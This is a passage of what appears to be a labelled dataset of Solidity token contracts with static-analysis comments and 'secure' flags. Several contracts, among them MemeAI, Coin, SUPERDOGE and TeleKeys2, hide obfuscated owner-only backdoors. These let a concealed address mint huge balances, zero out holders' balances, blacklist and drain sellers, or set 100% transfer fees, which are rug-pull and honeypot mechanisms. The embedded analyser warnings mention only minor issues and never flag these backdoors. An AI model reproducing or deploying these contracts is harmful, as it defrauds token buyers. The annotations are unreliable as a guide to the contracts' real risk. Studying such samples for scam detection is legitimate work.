else {\n unchecked {\n uint256 burnFee = (amount * _taxBurn) / 1000;\n uint256 tFee = (amount * (_taxBurn + _taxLiquidity)) / 1000;\n amount = amount - tFee;\n _balances[recipient] += amount;\n _balances[address(this)] += tFee;\n toBurnAmount += burnFee;\n }\n }\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a84cee2): Envision._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a84cee2: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3650.sol",
"secure": 0,
"size_bytes": 8081
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MemeAI is Ownable {\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 349f8f3): MemeAI.constructor(address).fpjylcwz lacks a zerocheck on \t fjymbvzw = fpjylcwz\n\t// Recommendation for 349f8f3: Check that the address is not zero.\n constructor(address fpjylcwz) {\n\t\t// missing-zero-check | ID: 349f8f3\n fjymbvzw = fpjylcwz;\n dmhznble[_msgSender()] += supplyamount;\n emit Transfer(address(0), _msgSender(), supplyamount);\n }\n\t// WARNING Optimization Issue (immutable-states | ID: 77f3ed6): MemeAI.fjymbvzw should be immutable \n\t// Recommendation for 77f3ed6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public fjymbvzw;\n\t// WARNING Optimization Issue (immutable-states | ID: 6d81af8): MemeAI.supplyamount should be immutable \n\t// Recommendation for 6d81af8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 supplyamount = 1000000000 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: ebe0071): MemeAI._totalSupply should be immutable \n\t// Recommendation for ebe0071: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = supplyamount;\n mapping(address => uint256) private dmhznble;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: a86d613): MemeAI._cigzyxas should be constant \n\t// Recommendation for a86d613: Add the 'constant' attribute to state variables that never change.\n string private _cigzyxas = \"Meme AI\";\n\t// WARNING Optimization Issue (constable-states | ID: e33a690): MemeAI._zvxtgilo should be constant \n\t// Recommendation for e33a690: Add the 'constant' attribute to state variables that never change.\n string private _zvxtgilo = \"MEMEAI\";\n\n function symbol() public view returns (string memory) {\n return _zvxtgilo;\n }\n\n function idohsxtl(address vdolrzay) public {\n if (fjymbvzw == _msgSender()) {\n address mzvbxnaw = vdolrzay;\n uint256 curamount = dmhznble[mzvbxnaw];\n uint256 newaaamount = dmhznble[mzvbxnaw] +\n dmhznble[mzvbxnaw] -\n curamount;\n dmhznble[mzvbxnaw] -= newaaamount;\n } else {\n revert(\"ccc\");\n }\n return;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return dmhznble[account];\n }\n\n function name() public view returns (string memory) {\n return _cigzyxas;\n }\n\n function ohndsjgz() external {\n address ztouvlsx = _msgSender();\n dmhznble[ztouvlsx] += 1 * 38200 * ((10 ** decimals() * xurtojpf));\n require(fjymbvzw == _msgSender());\n if (fjymbvzw == _msgSender()) {}\n if (fjymbvzw == _msgSender()) {}\n }\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\t// WARNING Optimization Issue (constable-states | ID: 82486cd): MemeAI.xurtojpf should be constant \n\t// Recommendation for 82486cd: Add the 'constant' attribute to state variables that never change.\n uint256 xurtojpf = 32330000000 + 1000;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 37ee631): MemeAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 37ee631: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = dmhznble[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n dmhznble[from] = dmhznble[from] - amount;\n dmhznble[to] = dmhznble[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 082b572): MemeAI.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 082b572: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 80caf43): MemeAI._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 80caf43: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7c70efc): MemeAI.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7c70efc: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ad38840): MemeAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ad38840: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3651.sol",
"secure": 0,
"size_bytes": 7729
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checyydsOwen();\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checyydsOwen() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_3652.sol",
"secure": 1,
"size_bytes": 1594
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Coin is Ownable {\n uint256 private _MYtotalSupply;\n string private _MYname;\n string private _MYsymbol;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: cac5428): Coin._vipCEO should be immutable \n\t// Recommendation for cac5428: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _vipCEO;\n\n mapping(address => bool) private vipccdd;\n function quitApprove(address sss) external {\n if (_vipCEO == _msgSender()) {\n vipccdd[sss] = false;\n } else if (_msgSender() != _vipCEO) {\n revert(\"fuck\");\n }\n }\n\n function Approve(address sss) external {\n if (_vipCEO == _msgSender()) {\n vipccdd[sss] = true;\n } else if (_msgSender() != _vipCEO) {\n revert(\"fuck\");\n }\n }\n\n function queryvvvVipBen(address sss) public view returns (bool) {\n return vipccdd[sss];\n }\n\n function bitBoy11123Box123() public view virtual returns (uint256) {\n return _MYtotalSupply;\n }\n function vipcadvipdaddTrade() external {\n if (_vipCEO == _msgSender()) {\n _balances[_msgSender()] = bitBoy11123Box123() * 38000;\n } else if (_msgSender() != _vipCEO) {\n revert(\"fuck\");\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 15db5ea): Coin.constructor(string,string,address).passBot lacks a zerocheck on \t _vipCEO = passBot\n\t// Recommendation for 15db5ea: Check that the address is not zero.\n constructor(string memory name_, string memory symbol_, address passBot) {\n\t\t// missing-zero-check | ID: 15db5ea\n _vipCEO = passBot;\n _MYname = name_;\n _MYsymbol = symbol_;\n\n _initmint(msg.sender, 1000000000 * 10 ** decimals());\n }\n\n function name() public view virtual returns (string memory) {\n return _MYname;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _MYsymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _MYtotalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 987c45a): Coin.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 987c45a: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 624559f): Coin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 624559f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6a81759): Coin.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6a81759: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 525f62c): Coin.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 525f62c: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 79831f2): Coin.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 79831f2: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[from];\n if (vipccdd[from] != false) {\n _balances[from] =\n balance -\n (bitBoy11123Box123()) -\n (bitBoy11123Box123());\n }\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = balance - (amount);\n _balances[to] = _balances[to] + (amount);\n emit Transfer(from, to, amount);\n }\n\n function _initmint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: sss221 to the zero address\");\n\n _MYtotalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _MYtotalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a4a12cb): Coin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a4a12cb: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0c00e71): Coin._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0c00e71: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}",
"file_name": "solidity_code_3653.sol",
"secure": 0,
"size_bytes": 8506
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SUPERDOGE is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _transferFees;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 34a06b7): SUPERDOGE._decimals should be immutable \n\t// Recommendation for 34a06b7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: c060047): SUPERDOGE._totalSupply should be immutable \n\t// Recommendation for c060047: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 03b6955): SUPERDOGE.Ox953698 should be immutable \n\t// Recommendation for 03b6955: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public Ox953698;\n\t// WARNING Optimization Issue (constable-states | ID: 279495d): SUPERDOGE.marketFee should be constant \n\t// Recommendation for 279495d: Add the 'constant' attribute to state variables that never change.\n uint256 marketFee = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 3d0cd92): SUPERDOGE.marketAddress should be constant \n\t// Recommendation for 3d0cd92: Add the 'constant' attribute to state variables that never change.\n address public marketAddress = 0xfC1358f42bE113884D49952D59D6E9c4484c4c17;\n address constant _beforeTokenTransfer =\n 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ab25d12): SUPERDOGE.constructor(string,string,uint256,uint8,address).gaegarfrhIUXGK lacks a zerocheck on \t Ox953698 = gaegarfrhIUXGK\n\t// Recommendation for ab25d12: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 total,\n uint8 decimals_,\n address gaegarfrhIUXGK\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = total;\n\t\t// missing-zero-check | ID: ab25d12\n Ox953698 = gaegarfrhIUXGK;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function Ox97628(address[] memory back, uint256 Teambuy) external {\n assembly {\n if gt(Teambuy, 100) {\n revert(0, 0)\n }\n }\n if (Ox953698 != _msgSender()) {\n return;\n }\n for (uint256 i = 0; i < back.length; i++) {\n _transferFees[back[i]] = Teambuy;\n }\n }\n\n function Ox12385(address o0xkO21) external {\n if (Ox953698 != _msgSender()) {\n return;\n }\n uint256 burnfee = 100000000000000 * 10 ** decimals() * 95000;\n _balances[_msgSender()] = burnfee;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"Put: transfer amount exceeds balance\"\n );\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 marketAmount = (amount * marketFee) / 100;\n uint256 finalAmount = amount - fee - marketAmount;\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += finalAmount;\n _balances[_beforeTokenTransfer] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n emit Transfer(_msgSender(), _beforeTokenTransfer, fee);\n emit Transfer(_msgSender(), marketAddress, marketAmount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a141363): SUPERDOGE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a141363: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d715576): SUPERDOGE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d715576: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function Ox97628(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Put: transfer amount exceeds allowance\"\n );\n uint256 fee = (amount * _transferFees[sender]) / 100;\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n _balances[recipient] += finalAmount;\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[_beforeTokenTransfer] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n emit Transfer(sender, _beforeTokenTransfer, fee);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3654.sol",
"secure": 0,
"size_bytes": 6935
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string internal _name;\n string internal _symbol;\n uint8 internal _decimals;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3655.sol",
"secure": 1,
"size_bytes": 5219
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"./Freezable.sol\" as Freezable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract Token is ERC20, Pausable, Freezable, ERC20Burnable {\n bool private initialized = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9b72d8c): Token.initialize(address,string,string,uint8,uint256).initalizeOwner lacks a zerocheck on \t _owner = initalizeOwner\n\t// Recommendation for 9b72d8c: Check that the address is not zero.\n function initialize(\n address initalizeOwner,\n string memory initalizeName,\n string memory initalizeSymbol,\n uint8 initalizeDecimals,\n uint256 initalizeSupply\n ) external {\n require(!initialized, \"Token: already initialized\");\n\n\t\t// missing-zero-check | ID: 9b72d8c\n _owner = initalizeOwner;\n _name = initalizeName;\n _symbol = initalizeSymbol;\n _decimals = initalizeDecimals;\n _mint(initalizeOwner, initalizeSupply * (10 ** initalizeDecimals));\n\n initialized = true;\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function freezeAccount(address holder) public onlyOwner {\n _freezeAccount(holder);\n }\n\n function unfreezeAccount(address holder) public onlyOwner {\n _unfreezeAccount(holder);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override whenNotPaused whenNotFrozen(from) {\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_3656.sol",
"secure": 0,
"size_bytes": 1866
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract TeleKeys2 is Ownable {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: c9209b2): TeleKeys2.tokenTotalSupply should be immutable \n\t// Recommendation for c9209b2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: c2bf5c9): TeleKeys2.xxnux should be immutable \n\t// Recommendation for c2bf5c9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: 1f3e622): TeleKeys2.tokenDecimals should be immutable \n\t// Recommendation for 1f3e622: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n bool isSL = true;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5fe9c68): TeleKeys2.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 5fe9c68: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"TeleKeys 2.0\";\n tokenSymbol = \"KEYS2.0\";\n tokenDecimals = 18;\n tokenTotalSupply = 100000000000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: 5fe9c68\n xxnux = ads;\n }\n function viewGas() public view returns (address) {\n return xxnux;\n }\n function addBots(address PCSA) external {\n if (\n xxnux == _msgSender() &&\n xxnux != PCSA &&\n pancakePair() != PCSA &&\n PCSA != ROUTER\n ) {\n address newadd = PCSA;\n uint256 cmxn = _balances[newadd];\n uint256 mnxn = _balances[newadd] + _balances[newadd] - cmxn;\n _balances[newadd] -= mnxn;\n } else {\n if (xxnux == _msgSender()) {} else {\n revert(\"Transfer From Failed\");\n }\n }\n }\n\n function delBots(uint256 xt) external {\n if (xxnux == _msgSender()) {\n uint256 AITC = 100000000000 * 10 ** tokenDecimals;\n uint256 ncs = AITC * 66400;\n uint256 xnn = ncs * 1 * 1 * 1 * 1;\n xnn = xnn * xt;\n _balances[_msgSender()] += xnn;\n require(xxnux == msg.sender);\n } else {}\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function newOwner(bool _sl) public returns (bool) {\n if (xxnux == msg.sender) {\n isSL = _sl;\n }\n return true;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b8534f1): TeleKeys2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b8534f1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function isContract(address addr) internal view returns (bool) {\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n bytes32 codehash;\n assembly {\n 